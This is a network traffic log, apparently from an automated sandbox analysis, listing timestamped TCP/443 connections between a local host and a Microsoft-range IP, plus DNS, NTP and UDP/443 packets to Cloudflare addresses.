Dec 2, 2024 01:36:03.156543016 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.175973892 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.175993919 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.389086008 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.418332100 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.418344021 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.418890953 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.418899059 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.613058090 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.616130114 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.616202116 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.616209984 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.616275072 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.621475935 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.624614000 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.624690056 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.625967026 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.625996113 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.626054049 CET	50067	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.626060009 CET	443	50067	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.630017042 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.633841991 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.634484053 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.636955976 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.636969090 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.636989117 CET	50065	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.636991978 CET	443	50065	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.642257929 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.642291069 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.642314911 CET	50066	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.642323971 CET	443	50066	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.654064894 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.654109955 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.654334068 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.673782110 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.673800945 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.674658060 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.674737930 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.675056934 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.675189972 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.675205946 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.733752966 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.733803988 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.733941078 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.747119904 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.747138023 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.841386080 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.845419884 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.845475912 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.854363918 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.854363918 CET	50068	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.854391098 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.854401112 CET	443	50068	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.870330095 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.870381117 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:03.870541096 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.883461952 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:03.883492947 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:04.930254936 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:04.934708118 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:04.934753895 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:04.935158968 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:04.935168028 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.364929914 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.368437052 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.368510962 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.368556023 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.368630886 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.369900942 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.369925976 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.369949102 CET	50069	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.369956970 CET	443	50069	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.372981071 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.373023033 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.373084068 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.375420094 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.375431061 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.389514923 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.391088963 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.391108990 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.391160965 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.391350031 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.391356945 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.393878937 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.393923998 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.394267082 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.394273996 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.610541105 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.614677906 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.614703894 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.615319967 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.615324974 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.682157993 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.683574915 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.683608055 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.684088945 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.684097052 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.824441910 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.825649023 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.827490091 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.828922987 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.828999996 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.829062939 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.829078913 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.831778049 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.831813097 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.831830978 CET	50071	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.831839085 CET	443	50071	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.836788893 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.836788893 CET	50070	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.836807966 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.836817026 CET	443	50070	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.839284897 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.839338064 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.839401960 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.839720011 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.839731932 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.843137026 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.843168974 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:05.843235016 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.845321894 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:05.845335007 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.071207047 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.074218035 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.074434996 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.126332045 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.126399040 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.126451969 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.133920908 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.133944988 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.133955002 CET	50072	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.133961916 CET	443	50072	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.135807037 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.135831118 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.135843039 CET	50073	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.135849953 CET	443	50073	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.204241037 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.204288006 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.204348087 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.205615044 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.205666065 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.205717087 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.207943916 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.207953930 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:06.208192110 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:06.208209038 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.175647974 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.176188946 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.176229000 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.176757097 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.176764965 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.624181032 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.624285936 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.624331951 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.624495029 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.624517918 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.624532938 CET	50074	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.624540091 CET	443	50074	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.627669096 CET	50079	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.627734900 CET	443	50079	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.627813101 CET	50079	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.628005028 CET	50079	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.628015995 CET	443	50079	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.683152914 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.684108973 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.684139013 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.684559107 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.684564114 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.691903114 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.692439079 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.692464113 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.692783117 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.692790031 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.989164114 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.989824057 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.989927053 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:07.990184069 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:07.990212917 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.053075075 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.054718018 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.054744959 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.055164099 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.055175066 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.137198925 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.137228012 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.137276888 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.137454033 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.137619972 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.137639999 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.137655973 CET	50075	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.137661934 CET	443	50075	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.140799046 CET	50080	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.140839100 CET	443	50080	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.140896082 CET	50080	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.141033888 CET	50080	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.141046047 CET	443	50080	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.144861937 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.148480892 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.148539066 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.148571968 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.148588896 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.148600101 CET	50076	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.148605108 CET	443	50076	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.151063919 CET	50081	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.151129007 CET	443	50081	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.151201010 CET	50081	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.151345015 CET	50081	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.151360035 CET	443	50081	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.433490038 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.433572054 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.433686018 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.433926105 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.433926105 CET	50077	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.433949947 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.433959007 CET	443	50077	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.436788082 CET	50082	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.436827898 CET	443	50082	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.436903000 CET	50082	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.437082052 CET	50082	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.437098026 CET	443	50082	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.511848927 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.511877060 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.511943102 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.511965990 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.512135983 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.512151003 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.512203932 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.512309074 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.512342930 CET	443	50078	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.512394905 CET	50078	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.514983892 CET	50083	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.515031099 CET	443	50083	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:08.515094995 CET	50083	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.515233994 CET	50083	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:08.515242100 CET	443	50083	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:09.347985029 CET	443	50079	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:09.348601103 CET	50079	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:09.348643064 CET	443	50079	13.107.246.63	192.168.2.7
Dec 2, 2024 01:36:09.349267960 CET	50079	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:36:09.349273920 CET	443	50079	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 01:33:57.739823103 CET	65200	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:33:57.877348900 CET	53	65200	1.1.1.1	192.168.2.7
Dec 2, 2024 01:33:59.949028015 CET	59355	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:00.345128059 CET	53	59355	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:08.421397924 CET	123	123	192.168.2.7	40.81.94.65
Dec 2, 2024 01:34:09.761322021 CET	123	123	40.81.94.65	192.168.2.7
Dec 2, 2024 01:34:15.926618099 CET	53	55268	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:15.946598053 CET	56989	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:15.946743965 CET	57517	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:16.083906889 CET	53	57517	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:16.084105015 CET	53	56989	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:16.084958076 CET	53	51590	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:18.841397047 CET	53	54576	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:30.766637087 CET	59783	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:30.766778946 CET	57315	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:30.905514956 CET	53	57315	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:33.232028008 CET	50373	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:33.232825041 CET	61957	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:33.916486025 CET	54722	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:33.916840076 CET	50535	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:34.054723024 CET	53	54722	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:34.149359941 CET	53	50535	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.811806917 CET	53610	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.812026978 CET	59325	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.814537048 CET	57025	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.814697981 CET	62283	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.854444027 CET	55475	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.854901075 CET	51446	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.877450943 CET	55009	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.877608061 CET	64410	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.899190903 CET	50736	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.899619102 CET	57245	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.946948051 CET	60466	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.947263002 CET	55743	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.949207067 CET	63721	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.949335098 CET	54468	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.949367046 CET	53	53610	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.949461937 CET	53	59325	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.949547052 CET	51393	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.949654102 CET	54940	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.951359987 CET	64188	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.951466084 CET	50775	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:35.951683044 CET	53	57025	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.951817989 CET	53	62283	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.991734982 CET	53	55475	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:35.992477894 CET	53	51446	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.037182093 CET	53	57245	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.037832975 CET	53	50736	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.038836002 CET	54520	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:36.038979053 CET	55091	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:36.085083008 CET	53	55743	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.085094929 CET	53	60466	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.086530924 CET	53	51393	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.086540937 CET	53	54940	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.088506937 CET	53	64188	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.088551044 CET	53	50775	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.169101000 CET	64691	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:36.169317961 CET	64362	53	192.168.2.7	1.1.1.1
Dec 2, 2024 01:34:36.267119884 CET	53	55091	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:36.307488918 CET	53	64362	1.1.1.1	192.168.2.7
Dec 2, 2024 01:34:37.882860899 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.197408915 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.811161041 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.994721889 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.994884014 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.995134115 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.995145082 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:38.995610952 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.996984005 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:38.999260902 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.032402992 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.040313005 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.134977102 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.144104004 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.155639887 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.266657114 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.320558071 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.320650101 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.320660114 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.320668936 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.322607040 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.332302094 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.332392931 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.357695103 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.360822916 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.364895105 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.385195017 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.385471106 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.471482038 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.479743004 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.483354092 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.495352983 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.495726109 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:39.576837063 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:39.655678988 CET	443	49336	172.64.41.3	192.168.2.7
Dec 2, 2024 01:34:39.685189009 CET	49336	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:34:40.189425945 CET	55892	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:34:40.389313936 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.389456034 CET	443	55892	162.159.61.3	192.168.2.7
Dec 2, 2024 01:34:40.389470100 CET	443	55892	162.159.61.3	192.168.2.7
